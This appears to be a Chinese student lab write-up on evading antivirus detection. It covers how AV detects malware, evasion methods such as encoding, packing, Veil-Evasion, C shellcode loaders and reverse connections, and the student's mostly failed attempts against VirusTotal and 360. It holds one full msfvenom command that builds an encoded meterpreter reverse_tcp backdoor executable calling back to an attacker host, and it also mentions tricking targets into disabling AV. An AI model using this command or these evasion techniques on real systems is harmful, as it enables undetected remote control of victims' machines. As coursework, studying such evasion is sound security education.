免杀原理与实践
时间:2022-05-10 05:57
Exp3 免杀原理与实践
一、实践内容
1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;
2.通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
二、基础问题回答
1.杀软是如何检测出恶意代码的?
基于特征码的检测
启发式恶意软件的检测
基于行为的恶意软件检测。
2.免杀是做什么?
一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。
3.免杀的基本方法有哪些?
就常见恶意软件而言,一般AV的检出率为40%-98%。就算你用了最好的AV,恶意软件依然有1/50的概率通过检测。这个概率还可以,貌似多试几种恶意软件就可以了。那免杀的方法当然是针对检测技术的。
--
所以总体技术有:
改变特征码
如果你手里只有EXE
加壳:压缩壳 加密壳
有shellcode(像Meterpreter)
用encode进行编码
基于payload重新编译生成可执行文件
有源代码
用其他语言进行重写再编译(veil-evasion)
--
改变行为
通讯方式
尽量使用反弹式连接
使用隧道技术
加密通讯数据
操作模式
基于内存操作
减少对系统的修改
加入混淆作用的正常功能代码
--
免杀就是让安插的后门不被AV软件发现。除了直接使用现有后门软件外,还有一些方式,在实际中也有用。
非常规方法
使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
使用社工类攻击,诱骗目标关闭AV软件。
纯手工打造一个恶意软件
--
留后门的思路是这样的:
你写一个有漏洞的软件,开一个服务端口。这个软件本身没问题。然后如果这个端口被攻击,就可以获得系统控制权。
通过meterpreter这种驻留内存的payload,AV软件很难检出。
这样的小漏洞程序大家也有做,自己攻击自己还是很容易的。
当然最好的方法,还是手工打造,自己从头编一个,没有通用工具的特征,AV软件也就杀不出来了。
从头打造当然是相当有难度的,但我们可以利用Metasploit已有的payload来半手工的打造,效果也不错
实验步骤:
一:利用上次实验的后门程序,用msf对其进行编码:
Msfvenom是Metasploit平台下用来编码payloads免杀的工具。
# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=172.30.3126 LPORT=1120 -f exe >xm1120_backdoor.exe
将其上传到
上进行检测,我选择了后一个中文网站结果如下
使用msf编码十次:
效果一如既往的被查杀,曝光率没变。。。。。。。
二:使用Veil-Evasion
是一个免杀平台,与Metasploit有点类似,在Kalil软件库中有,但默认没装。免杀效果比较好。官网上有视频教程。
结果呢,生成了一个,上传测试,virustoal检出为19/57。
Veil-evasion是用其他语言如c,c#,phython,ruby,go,powershell等重写了meterperter,然后再通过不同方式编译成exe,共性特征比较少。
装veil 血泪史:参考https://github.com/veil-Framework/veil上的方法
在cd veil 时,若找不到veild的路径,
输入:whereis veil即可
接下来
建议大家用流量,因为在这一步时特别缓慢,要下载很大的内容,
在装python时我很奇怪它的默认安装路径时以windows系统的c:\........开始的,我觉得既然是在linux下开始的话,也应该是root/....很奇怪,更让我生气地是装了veil后,我的msf不能用了,捣鼓了一整天,我的kali崩了,然而之前我把自己的快照失手删了,完蛋。。。。。
哟:牺牲的msf:
还好我装了两个kali。已经牺牲了一个,让我觉得。。。。心累
继续:输入veil:
然后,按照提示步骤来呗
选择 28
出现了分歧:选1呢还是2呢,都试试吧
貌似1有问题嘞
所以选2
但这两个都没产生.exe文件,我也不明吧,我觉得很可能是python没安装成功的问题,在博客中有人说用c,我试了试,
然而,没用的啦,依旧被发现
三:用c调用msf生成的shellcode编写后门程序进行测试
我用的是codeblock编译的,没有用vs
最初时,没有被360发现,但是过了一天,就被360发现删除了。。。。。。
四.加壳
呵呵,没用啊!
实验体会:
我觉得,这次实验原理很易懂,但操作有些复杂,不知为啥,强大的杀毒软件将我击败了,其实在前几天,360是没发现veil编码以及c调用shellcode 的免杀方式的,只不过当我处理其他事情的时候,360后来才发现的,导致我没能逃掉免杀,这也说明,当出现新的病毒时,杀毒软件有一段滞后期,若黑客能在滞后期期间完成攻击任务,杀毒软件便没了意义。所以还是要加强安全意识,不要下载陌生程序代码,毕竟在滞后期内,杀软无能为力。
但是我牺牲了一个kali,这让我无语,只好从头再来了